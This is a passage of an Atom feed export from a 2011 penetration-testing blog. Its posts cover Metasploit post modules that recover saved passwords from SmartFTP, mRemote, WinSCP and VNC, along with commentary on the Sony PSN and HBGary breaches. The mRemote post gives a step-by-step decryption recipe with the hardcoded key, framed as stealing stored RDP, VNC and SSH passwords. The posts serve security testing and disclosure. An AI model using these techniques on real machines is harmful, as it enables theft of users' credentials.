href="http://msdn.microsoft.com/en-us/library/aa379916(v=vs.85).aspx"&gt;CryptDeriveKey &lt;/a&gt;is going to take our hash and derive an encryption key from it. We pass it our provider object, an integer value for our encryption algorithm(RC4), the Hash object, our flag, and a pointer to a key object. This key object works the same way as the hash and provider objects did before it. The function derives an RC4 key for us and puts it in the memory structure pointed to by our key object.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/aa379913(v=vs.85).aspx"&gt;CryptDecrypt&lt;/a&gt; is where the magic finally happens. We pass it our key object as the first parameter. If the data was to be decrypted and hashed at the same time we would pass it a hash object. Since we do not want to hash the results we pass it a 0. The next&amp;nbsp;parameter&amp;nbsp;is whether this is the final section to be decrypted. We pass this a value as true. We pass no flags, and a pointer to the data to be decrypted. Finally &amp;nbsp;we pass it the&amp;nbsp;length&amp;nbsp;of the data to be decrypted.&lt;br /&gt;&lt;br /&gt;The remaining three functions are eseentialy just garbage collection. They close out the&amp;nbsp;memory&amp;nbsp;structures we initalised along the way.&lt;br /&gt;&lt;br /&gt;Some of the parameters in these function calls are still not set up in the&amp;nbsp;most&amp;nbsp;ideal&amp;nbsp;fashion. One of the big tricks to remember is that in the end, a pointer is just a number. So even&amp;nbsp;though&amp;nbsp;ruby has no pointer, just treat them as a numbers and pass them back to LPVOIDS. &amp;nbsp;I will be smoothing out any wrinkles in these function defs soon, and adding the other CAPI functions that I didn't need for this particular module.&lt;br /&gt;&lt;br /&gt;Once the decryption is complete. The module displays the results back to the console. It also reports the data back to the backend database. This means the credentials will be stored for the target machines. If you use MetaSploit Pro (which if you are a professional Penetration Tester, I cannot recommend it enough) this will be especially useful. If the remote machines are in your project scope, those credentials will show up in the host information, and can be used for further module usage.&lt;br /&gt;&lt;br /&gt;So there you have it. I hope you find this detailed breakdown useful and/or informative. Stay tuned for further updates and developments. I am continuing on my goal of making it into the Metasploit.com Top contributors&amp;nbsp;list, but I suspect I still have a ways to go.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6705994749877809521?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6705994749877809521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/06/smartftp-password-recovery-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6705994749877809521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6705994749877809521'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/06/smartftp-password-recovery-with.html' title='SmartFTP Password Recovery with Metasploit - The details'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6271691768379834058</id><published>2011-06-18T19:06:00.000-07:00</published><updated>2011-06-18T19:06:57.210-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Railgun'/><category scheme='http://www.blogger.com/atom/ns#' term='decryption'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='SmartFTP'/><title type='text'>Windows Cryptography with Metasploit and SmartFTP Password Recovery</title><content type='html'>I have submitted two new additions to Metasploit tonight. The first is a series of function definitions for Railgun. These functions are some of the core Windows CryptoAPI functions. It is not a complete list yet. I only added the ones i needed to complete the other&amp;nbsp;piece&amp;nbsp;I'll tell you about in a minute. I will be working voer the next week to get all of the other CAPI functions defined within Metasploit Railgun. In addition to that, I will try to write a library that will server as an abstraction layer for these function calls. This library will wrap the Windows CAPI Functions as well as serve up alot of the same constants provided by the WinCrypt.h header file. I hope that this will make it easier for other module writers to make use of the windows CryptoAPI whenever they may need it in a Post Module.&lt;br /&gt;&lt;br /&gt;The second bit of business is what actually spawned this work. I have submitted a module for Extracting/Recovering saved Passwords from the SmartFTP Client. Like the other modules I have submitted, it finds the passwords saved by users, decrypts them and reports them back to the backend database as well as to the display screen.&lt;br /&gt;&lt;br /&gt;I want to take a moment to especially thank jduck and chao-mu who helped me talk through some things while I was working on this. As always the support of the community in the #metasploit IRC channel is amazing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6271691768379834058?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6271691768379834058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/06/windows-cryptography-with-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6271691768379834058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6271691768379834058'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/06/windows-cryptography-with-metasploit.html' title='Windows Cryptography with Metasploit and SmartFTP Password Recovery'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4044223114998865226</id><published>2011-06-16T09:09:00.000-07:00</published><updated>2011-06-16T09:09:19.529-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BlackHat'/><category scheme='http://www.blogger.com/atom/ns#' term='rapid7'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit Activities</title><content type='html'>Well, i know i have been pretty&amp;nbsp;quiet&amp;nbsp;lately, so I&amp;nbsp;thought&amp;nbsp;i'd provide an update. I am very tempted to try and stake a claim on one of the&amp;nbsp;&lt;a href="https://community.rapid7.com/community/metasploit/blog/2011/06/14/metasploit-exploit-bounty-30-exploits-500000-in-5-weeks"&gt;Metasploit bounties&lt;/a&gt;&amp;nbsp;, but I don't think I'm quite up to that challenge yet. Instead i will continue to work on some of my other Metasploit Projects:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Build Railgun support for the Windows Crypto API(CAPI)&lt;/li&gt;&lt;li&gt;Finish my SmartFTP password recovery module&lt;/li&gt;&lt;li&gt;Build Meterperter NetStat support for Windows&lt;/li&gt;&lt;li&gt;Some other things that have not solidifed yet.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;I hope to get those first 3 items&amp;nbsp;completely&amp;nbsp;done in the next month or so. I want to have them&amp;nbsp;completed&amp;nbsp;and&amp;nbsp;committed&amp;nbsp;before Black Hat. It looks like i will be attending Black Hat courtesy of Rapid 7 this year, but&amp;nbsp;only&amp;nbsp;for the briefings. I unfortunately do not have the means at my disposal to stay for DefCon this year. I look forward to meeting some people in person.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4044223114998865226?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4044223114998865226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/06/metasploit-activities.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4044223114998865226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4044223114998865226'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/06/metasploit-activities.html' title='Metasploit Activities'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6933858638430012337</id><published>2011-06-02T20:59:00.000-07:00</published><updated>2011-06-21T09:50:31.455-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='decryption'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Stealing Passwords from mRemote</title><content type='html'>If you don't know&lt;a href="http://www.mremote.org/wiki/"&gt; mRemote&lt;/a&gt;&amp;nbsp;is a tabbed remote connection manager for Windows. It can store and manage a number of different connections, chief among them RDP,VNC, and SSH. It is a&amp;nbsp;popular&amp;nbsp;tool among IT Support people who&amp;nbsp;have&amp;nbsp;to remote into a lot of machines.&lt;br /&gt;&lt;br /&gt;When you save connections in mRemote it outputs all of that data into an XML report in your local AppData folder. The passwords are saved in an encrypted format, however this is trivial to circumvent. The passwords are encrypted with AES-128-CBC Rijndael Encryption, and then the IV is pre-pended to the encoded passwords and the whole thing is base64 encoded for output into the XML. The encryption key that is used is the md5 hash of the string "mR3m". So to decrypt these passwords we follow a simple process:&lt;br /&gt;&lt;br /&gt;example password: &amp;nbsp;28kQ15DF4kdW34Mx2+fh+NWZODNSoSPek7ug+ILvyPE=&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Get the md5 hash of mR3m and convert it into byte values: \xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c&lt;/li&gt;&lt;li&gt;base64 decode the saved password data&lt;/li&gt;&lt;li&gt;Take the first 16 bytes of the decoded data and set that as you Initialization vector(IV)&lt;/li&gt;&lt;li&gt;Run AES-128-CBC Decryption feeding your Cipher Text(the remaining bytes from the decoded text), your IV (that first 16 bytes), and your key (\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c)&lt;/li&gt;&lt;li&gt;You should get a decrypted password of: password1&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Simple and easy, you are now ready to decrypt all of those delicious RDP,VNC, and SSH passwords. To make it all that much easier I have written a new &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; POST module that will find the XML files on a&amp;nbsp;compromised&amp;nbsp;machine and decrypt those passwords for you. I just submitted it to &lt;a href="http://dev.metasploit.com/redmine/issues/4641"&gt;Redmine&lt;/a&gt; so it hasn't been added yet, but keep your eyes peeled. I suspect it will be in there soon.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6933858638430012337?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6933858638430012337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6933858638430012337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6933858638430012337'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/06/stealing-password-from-mremote.html' title='Stealing Passwords from mRemote'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7170660174611672776</id><published>2011-05-01T20:38:00.000-07:00</published><updated>2011-05-01T20:38:33.155-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Metasploit Meterpreter Registry OpenKey and VNC PW Module</title><content type='html'>As you probably already know I've been doing some work with Metasploit post modules. This recent work has focused heavily on Registry functions. While doing this work I noticed a disturbing&amp;nbsp;behavior. When Meterpreter checks to see if a key exists it was calling RegCreateKey instead of RegOpenKey. &amp;nbsp;RegCreateKey will attempt to create any and all keys in the supplied&amp;nbsp;path&amp;nbsp;that do not already exist. RegOpenKey, however, will not create the key if it doesn't already exist.&lt;br /&gt;&lt;br /&gt;In Metasploit the registry.rb 'client-side' function is set up as a wrapper to the create_key function.&amp;nbsp;Similarly&amp;nbsp;the registry.c code for Meterpreter itself is set up this way. Calls to the OpenKey function were just passed on to the create_key function. I have now submitted a patch to correct this behaviour. The registry.rb function now sends a call via the meterpreter stdapi to the request_registry_open_key function. The request_registry_open_key function will appropriately call RegOpenKey instead. If/when this patch is accepted by the Metasploit team, it will make the Registry functions of Meterpreter much less invasive/noisy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have also gone ahead and submitted a patch for the enum_vnc_pw Post Module. The module as it currently stands will check the HKEY_Current_User keys for user-mode vnc passwords. However, this will only work if meterpreter is running udner the permissions of the user who is running the vnc server. I have added behaviour that will try to enumerate all userswith SIDs in HKEY_Users and then check each one that it can access, to see if it has stored VNC passwords. The get_reg function also had to be re-written to deal with possibile permissions issues if meterpreter does not have rights to access each users' registry. The best way to run this module will, of course be under SYSTEM priveleges as it will have access to every user. This will hopefully make the enum_vnc_pw module more effective at gathering it's data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7170660174611672776?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7170660174611672776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/05/metasploit-meterpreter-registry-openkey.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7170660174611672776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7170660174611672776'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/05/metasploit-meterpreter-registry-openkey.html' title='Metasploit Meterpreter Registry OpenKey and VNC PW Module'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2613890215578403693</id><published>2011-04-29T04:46:00.000-07:00</published><updated>2011-04-29T04:46:20.444-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='breach'/><category scheme='http://www.blogger.com/atom/ns#' term='PS3'/><category scheme='http://www.blogger.com/atom/ns#' term='Sony'/><title type='text'>Sony PSN Hack: Leave GeoHot out of it</title><content type='html'>So I wandered by Geohot's &lt;a href="http://geohotgotsued.blogspot.com/2011/04/recent-news.html"&gt;latest place of residence&lt;/a&gt;&amp;nbsp;today. I thought his posting was very well written and very&amp;nbsp;nicely&amp;nbsp;defined his stance. His work on opening up homebrew software on the PS3 was not aimed at enabling piracy, and he does not support or condone the PSN hack in any way. Despite this, he is flooded by comments blaming him either directly or indirectly for the hack. The level of&amp;nbsp;ignorance&amp;nbsp;in this matter is astounding. After two decades on the internet, you'd think I would not be surprised at this&amp;nbsp;point, but I still am. I suppose i just can't shake this pesky hope in humanity.&lt;br /&gt;&lt;br /&gt;I want to lay this out in terms that, hopefully, even the dumbest internet denizen can understand:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;George Hotz , Fail0verflow and any other Homebrewers did not support this attack. Their work was aimed to restore functionality that was stripped away from devices that they had&amp;nbsp;bought&amp;nbsp;specifically for that functionality. I wonder how many people would have bought a 360 instead of a PS3 if Sony hadn't advertised the OtherOS functionality. It was certainly one of the reasons I bought my first PS3. George hotz and these others did not perpetrate this attack&lt;/li&gt;&lt;li&gt;There is no evidence that this attack even had anything to do with the homebrew console debate. Consider the following.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li&gt;If this was about revenge or&amp;nbsp;embarrassing&amp;nbsp;Sony, the attack would need to be public as quickly as possible to try and prevent Sony from sweeping it under the rug.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Nobody has come forward to take responsibility for the breach. Instead the information leaked out from Sony inevitably as they shut down their own service to get a handle on the Incident.&lt;/li&gt;&lt;li&gt;The breach targeted customer data including PII(Personally Identifiable Information) and&amp;nbsp;potentially&amp;nbsp;Credit Card Data. These are high value targets monetarily&lt;/li&gt;&lt;li&gt;The above mentioned lack of disclosure/credit taking is more indicative of someone looking to steal this data and sell it for profit&lt;/li&gt;&lt;li&gt;Some will try to argue that the attacker could have expected Sony to disclose the breach but that has two huge gaping holes. First, if Sony's security was poor enough to let the&amp;nbsp;breach&amp;nbsp;happen in the first place, why should there be any expectation that they have&amp;nbsp;proper&amp;nbsp;safeguards&amp;nbsp;in place to alert them to the breach. They&amp;nbsp;obviously&amp;nbsp;believed&amp;nbsp;they had no reason to ever expect an attack like this.&amp;nbsp;Secondly, why assume Sony would even admit to the breach. Plenty of companies suffer these kinds of breaches and do not report them. It happens a lot more than you&amp;nbsp;might&amp;nbsp;think.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The point is, that there is no evidence to support the idea that this has anything to do with the&amp;nbsp;home brew&amp;nbsp;console debate. In fact the little bit of evidence we have so far points to a common data theft. To all of you people who are jumping on anonymous or any other media buzz right now, do some reading. these sorts of breaches happen all the time. This breach was&amp;nbsp;essentially&amp;nbsp;inevitable as long as Sony failed to correct the security flaws in their system. If you want somebody to blame you have two parties to go after: Sony, and the people who actually stole your data. Plenty of blame to go around, you can leave GeoHot out of it.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2613890215578403693?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2613890215578403693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/04/sony-psn-hack-leave-geohot-out-of-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2613890215578403693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2613890215578403693'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/04/sony-psn-hack-leave-geohot-out-of-it.html' title='Sony PSN Hack: Leave GeoHot out of it'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-3220039311166641528</id><published>2011-04-27T07:36:00.000-07:00</published><updated>2011-04-27T07:36:16.423-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='winscp'/><title type='text'>Stealing WinSCP Saved passwords</title><content type='html'>WinSCP is a popular SCP and SFTP client for Windows. Users of this tool have the option of storing 'sessions' along with saved passwords. There is an option within WinSCP to encrypt these password with a 'Master password'. This means the stored passwords will be AES256 encrypted. However, this option is NOT turned on by default.&amp;nbsp;There are two ways these sessions will be stored by WinSCP. &amp;nbsp;The default&amp;nbsp;behavior&amp;nbsp;is to save them in the registry. They will be stored under HKEY_Current_User\Software\Martin Prikryl\WinSCP 2\Sessions. &amp;nbsp;The other option is to store them in an INI file, which will be located in the WinSCP install path.&lt;br /&gt;&lt;br /&gt;When no master password is set, it is trivial to reverse the 'encryption' used on the stored passwords. It is a simple series of bitwise operations, using the username concatenated with the&amp;nbsp;host name&amp;nbsp;as sort of pseudo-key. To simplify the process of stealing these passwords I have created a Metasploit Post module &lt;a href="http://metasploit.com/modules/post/windows/gather/enum_winscp_pwds"&gt;/modules/post/windows/gather/enum-winscp_pwds.rb&lt;/a&gt;&amp;nbsp;which was committed in the latest revision.&lt;br /&gt;&lt;br /&gt;Once again, I am pleased to be contributing to the Metasploit project. I want to take a moment to especially thank egyp7, hdm, and jduck for their help and support. they put up with a lot of dumb questions while I was working on this module. it is only the&amp;nbsp;third&amp;nbsp;one I have created and the second to get committed. The Metasploit team is an amazing group of people to work with. They freely share their knowledge and experience and make Metasploit truly a community driven project, instead of just another&amp;nbsp;piece&amp;nbsp;of OSS. I look forward to continuing to contribute to the Metasploit project.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-3220039311166641528?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/3220039311166641528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/04/stealing-winscp-saved-passwords.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3220039311166641528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/3220039311166641528'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/04/stealing-winscp-saved-passwords.html' title='Stealing WinSCP Saved passwords'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-8189628348602410813</id><published>2011-04-12T12:47:00.000-07:00</published><updated>2011-04-12T12:47:48.277-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Updated Metasploit wishlist</title><content type='html'>A little while ago i posted my Metasploit Wishlist. i have pulled a new updated copy of this&amp;nbsp;list, and added a Category field to help sort through it a little easier. I'll be spending some of my spare time&amp;nbsp;going&amp;nbsp;through this&amp;nbsp;list and picking out things to port over. My first go around was a success and my first ported module:&lt;br /&gt;&lt;a href="http://metasploit.com/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid"&gt;http://metasploit.com/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;was committed. It may have been a little sloppy but i look forward to getting&amp;nbsp;better&amp;nbsp;as I go on. Mark my words, I'm going to get my name on that front page list.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://docs.google.com/leaf?id=0B1XvJY2tppv-ODZjZjU0N2QtYzljOC00NDA3LWE5ZmItNmM3YTZjNTBkYzRm&amp;amp;hl=en"&gt;Here's&lt;/a&gt; the new list&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-8189628348602410813?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/8189628348602410813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/04/updated-metasploit-wishlist.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8189628348602410813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8189628348602410813'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/04/updated-metasploit-wishlist.html' title='Updated Metasploit wishlist'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-1690635432661250576</id><published>2011-02-15T11:05:00.000-08:00</published><updated>2011-02-15T11:05:30.530-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='legal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Anonymous'/><category scheme='http://www.blogger.com/atom/ns#' term='lawsuit'/><category scheme='http://www.blogger.com/atom/ns#' term='leaks'/><category scheme='http://www.blogger.com/atom/ns#' term='PS3'/><category scheme='http://www.blogger.com/atom/ns#' term='Ligatt'/><category scheme='http://www.blogger.com/atom/ns#' term='wikileaks'/><category scheme='http://www.blogger.com/atom/ns#' term='Sony'/><title type='text'>Of Hacks, Leaks, and Legal Battles : Is anyone really winning?</title><content type='html'>In recent days we have seen what seems like an escalation in the battle for the Information Age. &amp;nbsp;These&amp;nbsp;events&amp;nbsp;are far from new, however they have taken on a more fevered pitch. I suppose it probably started with the whole WikiLeaks-Bradley Manning thing. This started quite a fierce fight both off and on the internet. &amp;nbsp;A fierce debate with highly&amp;nbsp;polarized&amp;nbsp;sides sprang up around the issue of WikiLeaks.&lt;br /&gt;&lt;br /&gt;Into that fray jumped Anonymous. They took their own unique sense of purpose and went after anyone whom they felt had wronged WikiLeaks. This included attacks on Paypal,MasterCard and others. They took time off from their busy schedule of attacking PirateBay opponents around the world. These sorts of things are not all too uncommon, especially when dealing with Anon. They have&amp;nbsp;made&amp;nbsp;the news in the past. What was different this time was that there was already a frenzy around the wikiLeaks issue.&lt;br /&gt;&lt;br /&gt;Soon a new subset appeared. This group would have us&amp;nbsp;believe&amp;nbsp;that they are&amp;nbsp;independently&amp;nbsp;operating patriotic hackers, such as th3j35t3r. I have my doubts as to how&amp;nbsp;independent&amp;nbsp;these folks really are. These people went after anonymous, wikileaks and anyone else supporting them. A sort of mini-cyberwar started. What I would like to note is interesting is that the US Department of Justice launched an immediate investigation into Anonymous to try and make arrests over their DoS attacks. However the sophisticated DoS attack that was carried out against wikileaks was just as illegal and yet the government remains silent on the subject.&lt;br /&gt;&lt;br /&gt;The fighting and debating raged on around wikileaks. Many things&amp;nbsp;occurred&amp;nbsp;during the next several months that i don't feel the need to recap. Fast forwarding to the past few weeks. Aaron Barr, CEO of HBGary Federal made an announcement that he had 'infiltrated' Anonymous and discerned the true identities of the Anon leadership. (This statement alone seems to show a&amp;nbsp;misunderstanding&amp;nbsp;of the true nature of Anonymous, but look at some of my earlier posts for some of my theories on this subject). Aaron Barr&amp;nbsp;apparently&amp;nbsp;sought to use this information to leverage himself and his company into a bit of the spotlight. Allegedly, Barr was going to sell this information to the FBI.&lt;br /&gt;&lt;br /&gt;In response a few members of anonymous launched an assault on HBGary federal during the super bowl. In short order they ahd compromised systems inside HBGary Federal, took control of rootkit.com, seized Aaron Barr;'s twitter account and the social networking accounts of several other folks at HBGary. They stole a large number of emails from the company, and allegedly wiped out HBGary's backups.&lt;br /&gt;&lt;br /&gt;The initial assault left HBgary reeling and&amp;nbsp;embarrassed&amp;nbsp;like a kid who gets&amp;nbsp;pants-ed&amp;nbsp;at the bus stop. It got worse from there though. Amongst the stolen emails was a document supposedly composed by HBGary Federal and Palantir. The target audience was allegedly Bank of America. The subject matter? How to destroy wikileaks. The document details&amp;nbsp;disinformation&amp;nbsp;campings, smear attacks against pro-wikileaks&amp;nbsp;journalists, Denial of Service attacks against wikileaks infrastructure, and attempts to infiltrate the group to discover the identities of document submitters. You can see a copy of the document &lt;a href="http://mirror.wikileaks.info/leak/Palantir_WikiLeaks_Attack_Plan_v6.pdf"&gt;here&lt;/a&gt;. BofA and Palantir began moving quickly to conduct damage control &lt;a href="http://www.salon.com/news/opinion/glenn_greenwald/2011/02/11/campaigns/"&gt;disavowing&lt;/a&gt; any knowledge of the document or its creation. Additional documentation has surfaced to cast &lt;a href="http://www.salon.com/news/opinion/glenn_greenwald/2011/02/15/palantir"&gt;doubts&lt;/a&gt; on some of these claims.&lt;br /&gt;&lt;br /&gt;The lesson here so far? Even a security firm like HB Gary can get thoroughly spanked on the internet by not taking threats seriously. The damage to their company by these leaks is yet to be seen, but other companies are already cutting ties to try and protect themselves. In this case the Leak has already proven to be an effective weapon against a powerful company.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Meanwhile, another little drama was unfolding. The &lt;a href="http://attrition.org/errata/charlatan/gregory_evans/"&gt;Gregory Evans&lt;/a&gt;/ &lt;a href="http://ligattleaks.blogs.ru/"&gt;Ligatt Security&lt;/a&gt; drama. Gregory Evans has been accused of being a charlatan for a while. He made claims of being the 'world's no 1 Hacker'. A&amp;nbsp;ridiculous, and pompous proclamation if ever I've&amp;nbsp;heard&amp;nbsp;one. He released a book on how to become the world's no 1 hacker. A book which was quickly accused of large scale &lt;a href="https://365.rsaconference.com/blogs/securityreading/2010/06/14/fair-use-plagiarism-and-the-world-s-no-1-hacker-book"&gt;plagarism&lt;/a&gt;. Evans denied these accusations, and at one point claimed that he paid any third part content writers for their material. I do not know about the vast majority of this claim. However, &lt;a 